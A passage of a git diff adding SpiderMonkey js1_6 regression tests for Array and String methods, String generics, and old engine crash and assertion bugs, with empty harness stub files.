+//-----------------------------------------------------------------------------
+var BUGNUMBER = 352742;
+var summary = 'Array filter on {valueOf: Function}';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ print('If the test harness fails, this test fails.');
+ expect = 4;
+ z = {valueOf: Function};
+ actual = 2;
+ try {
+ [11].filter(z);
+ }
+ catch(e)
+ {
+ actual = 3;
+ }
+ actual = 4;
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_6/Array/regress-352742-02.js b/js/src/tests/js1_6/Array/regress-352742-02.js
new file mode 100644
index 000000000..96270c462
--- /dev/null
+++ b/js/src/tests/js1_6/Array/regress-352742-02.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 352742;
+var summary = 'eval("return") in toString';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 3;
+ var j = ({toString: function() { eval("return"); }});
+ actual = 2;
+ try { "" + j; } catch(e){}
+ actual = 3;
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_6/Array/regress-386030.js b/js/src/tests/js1_6/Array/regress-386030.js
new file mode 100644
index 000000000..85ff7fd0e
--- /dev/null
+++ b/js/src/tests/js1_6/Array/regress-386030.js
@@ -0,0 +1,67 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Blake Kaplan
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 386030;
+var summary = 'Array.reduce should ignore holes';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function add(a, b) { return a + b; }
+ function testreduce(v) { return v == 3 ? "PASS" : "FAIL"; }
+
+ expect = 'PASS';
+
+ try {
+ a = new Array(2);
+ a[1] = 3;
+ actual = testreduce(a.reduce(add));
+ } catch (e) {
+ actual = "FAIL, reduce";
+ }
+ reportCompare(expect, actual, summary + ': 1');
+
+ try {
+ a = new Array(2);
+ a[0] = 3;
+ actual = testreduce(a.reduceRight(add));
+ } catch (e) {
+ actual = "FAIL, reduceRight";
+ }
+ reportCompare(expect, actual, summary + ': 2');
+
+ try {
+ a = new Array(2);
+ a.reduce(add);
+ actual = "FAIL, empty reduce";
+ } catch (e) {
+ actual = "PASS";
+ }
+ reportCompare(expect, actual, summary + ': 3');
+
+ try {
+ a = new Array(2);
+ print(a.reduceRight(add));
+ actual = "FAIL, empty reduceRight";
+ } catch (e) {
+ actual = "PASS";
+ }
+ reportCompare(expect, actual, summary + ': 4');
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_6/Array/regress-415451.js b/js/src/tests/js1_6/Array/regress-415451.js
new file mode 100644
index 000000000..b4674f5df
--- /dev/null
+++ b/js/src/tests/js1_6/Array/regress-415451.js
@@ -0,0 +1,24 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 415451;
+var summary = 'indexOf/lastIndexOf behavior';
+
+var expected = "3,0,3,3,3,-1,-1";
+results = [];
+var a = [1,2,3,1];
+for (var i=-1; i < a.length+2; i++)
+ results.push(a.indexOf(1,i));
+var actual = String(results);
+reportCompare(expected, actual, "indexOf");
+
+results = [];
+var expected = "3,0,0,0,3,3,3";
+for (var i=-1; i < a.length+2; i++)
+ results.push(a.lastIndexOf(1,i));
+var actual = String(results);
+reportCompare(expected, actual, "lastIndexOf");
+
diff --git a/js/src/tests/js1_6/Array/regress-415540.js b/js/src/tests/js1_6/Array/regress-415540.js
new file mode 100644
index 000000000..0e2b9726a
--- /dev/null
+++ b/js/src/tests/js1_6/Array/regress-415540.js
@@ -0,0 +1,21 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 415540;
+var summary = 'Array.push'
+var actual = '';
+var expect = '';
+
+var Constr = function() {};
+Constr.prototype = [];
+var c = new Constr();
+c.push(5);
+c.push(6);
+var actual = Array.push(c,7);
+reportCompare(3, actual, "result of Array.push is length");
+reportCompare(5, c[0], "contents of c[0]");
+reportCompare(6, c[1], "contents of c[1]");
+reportCompare(7, c[2], "contents of c[2]");
diff --git a/js/src/tests/js1_6/Array/regress-566651.js b/js/src/tests/js1_6/Array/regress-566651.js
new file mode 100644
index 000000000..a05d0310a
--- /dev/null
+++ b/js/src/tests/js1_6/Array/regress-566651.js
@@ -0,0 +1,20 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Blake Kaplan
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 566651;
+var summary = 'setting array.length to null should not throw an uncatchable exception';
+var actual = 0;
+var expect = 0;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var a = [];
+a.length = null;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_6/Array/shell.js b/js/src/tests/js1_6/Array/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_6/Array/shell.js
diff --git a/js/src/tests/js1_6/README b/js/src/tests/js1_6/README
new file mode 100644
index 000000000..7a3c7a022
--- /dev/null
+++ b/js/src/tests/js1_6/README
@@ -0,0 +1 @@
+JavaScript 1.6
diff --git a/js/src/tests/js1_6/Regress/browser.js b/js/src/tests/js1_6/Regress/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_6/Regress/browser.js
diff --git a/js/src/tests/js1_6/Regress/regress-311157-01.js b/js/src/tests/js1_6/Regress/regress-311157-01.js
new file mode 100644
index 000000000..8c0e07405
--- /dev/null
+++ b/js/src/tests/js1_6/Regress/regress-311157-01.js
@@ -0,0 +1,24 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+var BUGNUMBER = 311157;
+var summary = 'Comment-hiding compromise left E4X parsing/scanning inconsistent';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+try
+{
+ eval('var x = <hi> <!-- duh -->\n there </hi>');
+}
+catch(e)
+{
+}
+
+reportCompare(expect, actual, summary);
+
diff --git a/js/src/tests/js1_6/Regress/regress-311157-02.js b/js/src/tests/js1_6/Regress/regress-311157-02.js
new file mode 100644
index 000000000..e84f03159
--- /dev/null
+++ b/js/src/tests/js1_6/Regress/regress-311157-02.js
@@ -0,0 +1,24 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+var BUGNUMBER = 311157;
+var summary = 'Comment-hiding compromise left E4X parsing/scanning inconsistent';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+try
+{
+ eval('var x = <hi> <![CDATA[ duh ]]>\n there </hi>');
+}
+catch(e)
+{
+}
+
+reportCompare(expect, actual, summary);
+
diff --git a/js/src/tests/js1_6/Regress/regress-320172.js b/js/src/tests/js1_6/Regress/regress-320172.js
new file mode 100644
index 000000000..462eb5452
--- /dev/null
+++ b/js/src/tests/js1_6/Regress/regress-320172.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 320172;
+var summary = 'Regression from bug 285219';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+enterFunc ('test');
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+try
+{
+ (function xxx(){ ["var x"].forEach(eval); })();
+}
+catch(ex)
+{
+}
+
+printStatus('No Crash');
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_6/Regress/regress-351795.js b/js/src/tests/js1_6/Regress/regress-351795.js
new file mode 100644
index 000000000..24e946446
--- /dev/null
+++ b/js/src/tests/js1_6/Regress/regress-351795.js
@@ -0,0 +1,35 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 351795;
+var summary = 'Do not assert: top < ss->printer->script->depth';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ p={};
+ (p.z = [1].some(function(y) { return y > 0; }) ? 4 : [6])(5);
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_6/Regress/regress-352271.js b/js/src/tests/js1_6/Regress/regress-352271.js
new file mode 100644
index 000000000..97ff2647a
--- /dev/null
+++ b/js/src/tests/js1_6/Regress/regress-352271.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 352271;
+var summary = 'Do not crash with |getter| |for each|';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ eval('[window.x getter= t for each ([*].a(v) in [])]');
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_6/Regress/regress-353078.js b/js/src/tests/js1_6/Regress/regress-353078.js
new file mode 100644
index 000000000..4bbd9fdb3
--- /dev/null
+++ b/js/src/tests/js1_6/Regress/regress-353078.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 353078;
+var summary = 'Do not assert with bogus toString, map, split';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ this.toString = function() { return {}; }; p = [11].map('foo'.split);
+ }
+ catch(ex)
+ {
+ }
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_6/Regress/regress-355002.js b/js/src/tests/js1_6/Regress/regress-355002.js
new file mode 100644
index 000000000..20fc60fdb
--- /dev/null
+++ b/js/src/tests/js1_6/Regress/regress-355002.js
@@ -0,0 +1,37 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 355002;
+var summary = 'Do not assert on |for each (this in []) { }|';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'SyntaxError: invalid for-in/of left-hand side';
+ actual = '';
+ try
+ {
+ eval('for each (this in []) { }');
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_6/Regress/regress-372565.js b/js/src/tests/js1_6/Regress/regress-372565.js
new file mode 100644
index 000000000..e5c0e1b07
--- /dev/null
+++ b/js/src/tests/js1_6/Regress/regress-372565.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 372565;
+var summary = 'Do not assert: top < ss->printer->script->depth" decompiling a function where a const identifier is used as a for-loop variable';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ (function() { for each(x in y) { } const x = undefined; });
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_6/Regress/regress-475469.js b/js/src/tests/js1_6/Regress/regress-475469.js
new file mode 100644
index 000000000..14566fd38
--- /dev/null
+++ b/js/src/tests/js1_6/Regress/regress-475469.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 475469;
+var summary = 'TM: Do not crash @ FramePCOffset';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// print('Note this test originally required jit enabled with the environment ');
+// print('variable TRACEMONKEY=verbose defined. Note that the calls to enable ');
+// print('jit are necessary for the crash.');
+
+ [1,2,3].map(function(v, i, t) { return /a/gi.exec(v); });
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
+
diff --git a/js/src/tests/js1_6/Regress/regress-476655.js b/js/src/tests/js1_6/Regress/regress-476655.js
new file mode 100644
index 000000000..9077ba3a0
--- /dev/null
+++ b/js/src/tests/js1_6/Regress/regress-476655.js
@@ -0,0 +1,40 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 476655;
+var summary = 'TM: Do not assert: count <= (size_t) (fp->regs->sp - StackBase(fp) - depth)';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ try
+ {
+ eval(
+ "(function (){ for (var y in this) {} })();" +
+ "[''.watch(\"\", function(){}) for each (x in ['', '', eval, '', '']) if " +
+ "(x)].map(Function)"
+ );
+ }
+ catch(ex)
+ {
+ }
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_6/Regress/shell.js b/js/src/tests/js1_6/Regress/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_6/Regress/shell.js
diff --git a/js/src/tests/js1_6/String/browser.js b/js/src/tests/js1_6/String/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_6/String/browser.js
diff --git a/js/src/tests/js1_6/String/generics.js b/js/src/tests/js1_6/String/generics.js
new file mode 100644
index 000000000..b2aa2c327
--- /dev/null
+++ b/js/src/tests/js1_6/String/generics.js
@@ -0,0 +1,228 @@
+var BUGNUMBER = 1263558;
+var summary = "Self-host all String generics.";
+
+print(BUGNUMBER + ": " + summary);
+
+var result;
+var str = "ABCde";
+var strObj = {
+ toString() {
+ return "ABCde";
+ }
+};
+
+// String.substring.
+assertThrowsInstanceOf(() => String.substring(), TypeError);
+assertEq(String.substring(str), "ABCde");
+assertEq(String.substring(str, 1), "BCde");
+assertEq(String.substring(str, 1, 3), "BC");
+assertEq(String.substring(strObj), "ABCde");
+assertEq(String.substring(strObj, 1), "BCde");
+assertEq(String.substring(strObj, 1, 3), "BC");
+
+// String.substr.
+assertThrowsInstanceOf(() => String.substr(), TypeError);
+assertEq(String.substr(str), "ABCde");
+assertEq(String.substr(str, 1), "BCde");
+assertEq(String.substr(str, 1, 3), "BCd");
+assertEq(String.substr(strObj), "ABCde");
+assertEq(String.substr(strObj, 1), "BCde");
+assertEq(String.substr(strObj, 1, 3), "BCd");
+
+// String.slice.
+assertThrowsInstanceOf(() => String.slice(), TypeError);
+assertEq(String.slice(str), "ABCde");
+assertEq(String.slice(str, 1), "BCde");
+assertEq(String.slice(str, 1, 3), "BC");
+assertEq(String.slice(strObj), "ABCde");
+assertEq(String.slice(strObj, 1), "BCde");
+assertEq(String.slice(strObj, 1, 3), "BC");
+
+// String.match.
+assertThrowsInstanceOf(() => String.match(), TypeError);
+result = String.match(str);
+assertEq(result.index, 0);
+assertEq(result.length, 1);
+assertEq(result[0], "");
+result = String.match(str, /c/i);
+assertEq(result.index, 2);
+assertEq(result.length, 1);
+assertEq(result[0], "C");
+result = String.match(strObj);
+assertEq(result.index, 0);
+assertEq(result.length, 1);
+assertEq(result[0], "");
+result = String.match(strObj, /c/i);
+assertEq(result.index, 2);
+assertEq(result.length, 1);
+assertEq(result[0], "C");
+
+// String.replace.
+assertThrowsInstanceOf(() => String.replace(), TypeError);
+assertEq(String.replace(str), "ABCde");
+assertEq(String.replace(str, /c/i), "ABundefinedde");
+assertEq(String.replace(str, /c/i, "x"), "ABxde");
+assertEq(String.replace(strObj), "ABCde");
+assertEq(String.replace(strObj, /c/i), "ABundefinedde");
+assertEq(String.replace(strObj, /c/i, "x"), "ABxde");
+
+// String.search.
+assertThrowsInstanceOf(() => String.search(), TypeError);
+assertEq(String.search(str), 0);
+assertEq(String.search(str, /c/i), 2);
+assertEq(String.search(strObj), 0);
+assertEq(String.search(strObj, /c/i), 2);
+
+// String.split.
+assertThrowsInstanceOf(() => String.split(), TypeError);
+assertEq(String.split(str).join(","), "ABCde");
+assertEq(String.split(str, /[bd]/i).join(","), "A,C,e");
+assertEq(String.split(str, /[bd]/i, 2).join(","), "A,C");
+assertEq(String.split(strObj).join(","), "ABCde");
+assertEq(String.split(strObj, /[bd]/i).join(","), "A,C,e");
+assertEq(String.split(strObj, /[bd]/i, 2).join(","), "A,C");
+
+// String.toLowerCase.
+assertThrowsInstanceOf(() => String.toLowerCase(), TypeError);
+assertEq(String.toLowerCase(str), "abcde");
+assertEq(String.toLowerCase(strObj), "abcde");
+
+// String.toUpperCase.
+assertThrowsInstanceOf(() => String.toUpperCase(), TypeError);
+assertEq(String.toUpperCase(str), "ABCDE");
+assertEq(String.toUpperCase(strObj), "ABCDE");
+
+// String.charAt.
+assertThrowsInstanceOf(() => String.charAt(), TypeError);
+assertEq(String.charAt(str), "A");
+assertEq(String.charAt(str, 2), "C");
+assertEq(String.charAt(strObj), "A");
+assertEq(String.charAt(strObj, 2), "C");
+
+// String.charCodeAt.
+assertThrowsInstanceOf(() => String.charCodeAt(), TypeError);
+assertEq(String.charCodeAt(str), 65);
+assertEq(String.charCodeAt(str, 2), 67);
+assertEq(String.charCodeAt(strObj), 65);
+assertEq(String.charCodeAt(strObj, 2), 67);
+
+// String.includes.
+assertThrowsInstanceOf(() => String.includes(), TypeError);
+assertEq(String.includes(str), false);
+assertEq(String.includes(str, "C"), true);
+assertEq(String.includes(str, "C", 2), true);
+assertEq(String.includes(str, "C", 3), false);
+assertEq(String.includes(strObj), false);
+assertEq(String.includes(strObj, "C"), true);
+assertEq(String.includes(strObj, "C", 2), true);
+assertEq(String.includes(strObj, "C", 3), false);
+
+// String.indexOf.
+assertThrowsInstanceOf(() => String.indexOf(), TypeError);
+assertEq(String.indexOf(str), -1);
+assertEq(String.indexOf(str, "C"), 2);
+assertEq(String.indexOf(str, "C", 2), 2);
+assertEq(String.indexOf(str, "C", 3), -1);
+assertEq(String.indexOf(strObj), -1);
+assertEq(String.indexOf(strObj, "C"), 2);
+assertEq(String.indexOf(strObj, "C", 2), 2);
+assertEq(String.indexOf(strObj, "C", 3), -1);
+
+// String.lastIndexOf.
+assertThrowsInstanceOf(() => String.lastIndexOf(), TypeError);
+assertEq(String.lastIndexOf(str), -1);
+assertEq(String.lastIndexOf(str, "C"), 2);
+assertEq(String.lastIndexOf(str, "C", 2), 2);
+assertEq(String.lastIndexOf(str, "C", 1), -1);
+assertEq(String.lastIndexOf(strObj), -1);
+assertEq(String.lastIndexOf(strObj, "C"), 2);
+assertEq(String.lastIndexOf(strObj, "C", 2), 2);
+assertEq(String.lastIndexOf(strObj, "C", 1), -1);
+
+// String.startsWith.
+assertThrowsInstanceOf(() => String.startsWith(), TypeError);
+assertEq(String.startsWith(str), false);
+assertEq(String.startsWith(str, "A"), true);
+assertEq(String.startsWith(str, "B", 0), false);
+assertEq(String.startsWith(str, "B", 1), true);
+assertEq(String.startsWith(strObj), false);
+assertEq(String.startsWith(strObj, "A"), true);
+assertEq(String.startsWith(strObj, "B", 0), false);
+assertEq(String.startsWith(strObj, "B", 1), true);
+
+// String.endsWith.
+assertThrowsInstanceOf(() => String.endsWith(), TypeError);
+assertEq(String.endsWith(str), false);
+assertEq(String.endsWith(str, "e"), true);
+assertEq(String.endsWith(str, "B", 0), false);
+assertEq(String.endsWith(str, "B", 2), true);
+assertEq(String.endsWith(strObj), false);
+assertEq(String.endsWith(strObj, "e"), true);
+assertEq(String.endsWith(strObj, "B", 0), false);
+assertEq(String.endsWith(strObj, "B", 2), true);
+
+// String.trim.
+var str2 = " ABCde ";
+var strObj2 = {
+ toString() {
+ return " ABCde ";
+ }
+};
+assertThrowsInstanceOf(() => String.trim(), TypeError);
+assertEq(String.trim(str2), "ABCde");
+assertEq(String.trim(strObj2), "ABCde");
+
+// String.trimLeft.
+assertThrowsInstanceOf(() => String.trimLeft(), TypeError);
+assertEq(String.trimLeft(str2), "ABCde ");
+assertEq(String.trimLeft(strObj2), "ABCde ");
+
+// String.trimRight.
+assertThrowsInstanceOf(() => String.trimRight(), TypeError);
+assertEq(String.trimRight(str2), " ABCde");
+assertEq(String.trimRight(strObj2), " ABCde");
+
+// String.toLocaleLowerCase.
+assertThrowsInstanceOf(() => String.toLocaleLowerCase(), TypeError);
+assertEq(String.toLocaleLowerCase(str), str.toLocaleLowerCase());
+assertEq(String.toLocaleLowerCase(strObj), str.toLocaleLowerCase());
+
+// String.toLocaleUpperCase.
+assertThrowsInstanceOf(() => String.toLocaleUpperCase(), TypeError);
+assertEq(String.toLocaleUpperCase(str), str.toLocaleUpperCase());
+assertEq(String.toLocaleUpperCase(strObj), str.toLocaleUpperCase());
+
+// String.localeCompare.
+assertThrowsInstanceOf(() => String.localeCompare(), TypeError);
+assertEq(String.localeCompare(str), str.localeCompare());
+assertEq(String.localeCompare(str, "abcde"), str.localeCompare("abcde"));
+assertEq(String.localeCompare(strObj), str.localeCompare());
+assertEq(String.localeCompare(strObj, "abcde"), str.localeCompare("abcde"));
+
+// String.normalize.
+if ("normalize" in String.prototype) {
+ var str3 = "\u3082\u3058\u3089 \u3082\u3057\u3099\u3089";
+ var strObj3 = {
+ toString() {
+ return "\u3082\u3058\u3089 \u3082\u3057\u3099\u3089";
+ }
+ };
+ assertThrowsInstanceOf(() => String.normalize(), TypeError);
+
+ assertEq(String.normalize(str3), "\u3082\u3058\u3089 \u3082\u3058\u3089");
+ assertEq(String.normalize(str3, "NFD"), "\u3082\u3057\u3099\u3089 \u3082\u3057\u3099\u3089");
+ assertEq(String.normalize(strObj3), "\u3082\u3058\u3089 \u3082\u3058\u3089");
+ assertEq(String.normalize(strObj3, "NFD"), "\u3082\u3057\u3099\u3089 \u3082\u3057\u3099\u3089");
+}
+
+// String.concat.
+assertThrowsInstanceOf(() => String.concat(), TypeError);
+assertEq(String.concat(str), "ABCde");
+assertEq(String.concat(str, "f"), "ABCdef");
+assertEq(String.concat(str, "f", "g"), "ABCdefg");
+assertEq(String.concat(strObj), "ABCde");
+assertEq(String.concat(strObj, "f"), "ABCdef");
+assertEq(String.concat(strObj, "f", "g"), "ABCdefg");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/js1_6/String/regress-306591.js b/js/src/tests/js1_6/String/regress-306591.js
new file mode 100644
index 000000000..ca792b145
--- /dev/null
+++ b/js/src/tests/js1_6/String/regress-306591.js
@@ -0,0 +1,76 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 306591;
+var summary = 'String static methods';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+printStatus ('See https://bugzilla.mozilla.org/show_bug.cgi?id=304828');
+
+expect = ['a', 'b', 'c'].toString();
+actual = String.split(new String('abc'), '').toString();
+reportCompare(expect, actual, summary +
+ " String.split(new String('abc'), '')");
+
+expect = '2';
+actual = String.substring(new Number(123), 1, 2);
+reportCompare(expect, actual, summary +
+ " String.substring(new Number(123), 1, 2)");
+
+expect = 'TRUE';
+actual = String.toUpperCase(new Boolean(true));
+reportCompare(expect, actual, summary +
+ " String.toUpperCase(new Boolean(true))");
+
+try
+{
+ String.indexOf(null, 'l');
+ throw new Error("should have thrown a TypeError");
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "String.indexOf(null [, ...]) didn't work correctly");
+}
+
+expect = 2;
+actual = String.indexOf(String(null), 'l');
+reportCompare(expect, actual, summary +
+ " String.indexOf(String(null), 'l')");
+
+expect = ['a', 'b', 'c'].toString();
+actual = String.split('abc', '').toString();
+reportCompare(expect, actual, summary +
+ " String.split('abc', '')");
+
+expect = '2';
+actual = String.substring(123, 1, 2);
+reportCompare(expect, actual, summary +
+ " String.substring(123, 1, 2)");
+
+expect = 'TRUE';
+actual = String.toUpperCase(true);
+reportCompare(expect, actual, summary +
+ " String.toUpperCase(true)");
+
+try
+{
+ String.indexOf(undefined, 'd');
+ throw new Error("should have thrown a TypeError");
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "String.indexOf(undefined [, ...]) didn't work correctly");
+}
+
+expect = 2;
+actual = String.indexOf(String(undefined), 'd');
+reportCompare(expect, actual, summary +
+ " String.indexOf(String(undefined), 'd')");
diff --git a/js/src/tests/js1_6/String/shell.js b/js/src/tests/js1_6/String/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_6/String/shell.js
diff --git a/js/src/tests/js1_6/browser.js b/js/src/tests/js1_6/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_6/browser.js
diff --git a/js/src/tests/js1_6/extensions/browser.js b/js/src/tests/js1_6/extensions/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_6/extensions/browser.js
diff --git a/js/src/tests/js1_6/extensions/nested-for-each.js b/js/src/tests/js1_6/extensions/nested-for-each.js
new file mode 100644
index 000000000..d311d30d2
--- /dev/null
+++ b/js/src/tests/js1_6/extensions/nested-for-each.js
@@ -0,0 +1,39 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+var summary = 'for-each-in should not affect for-in';
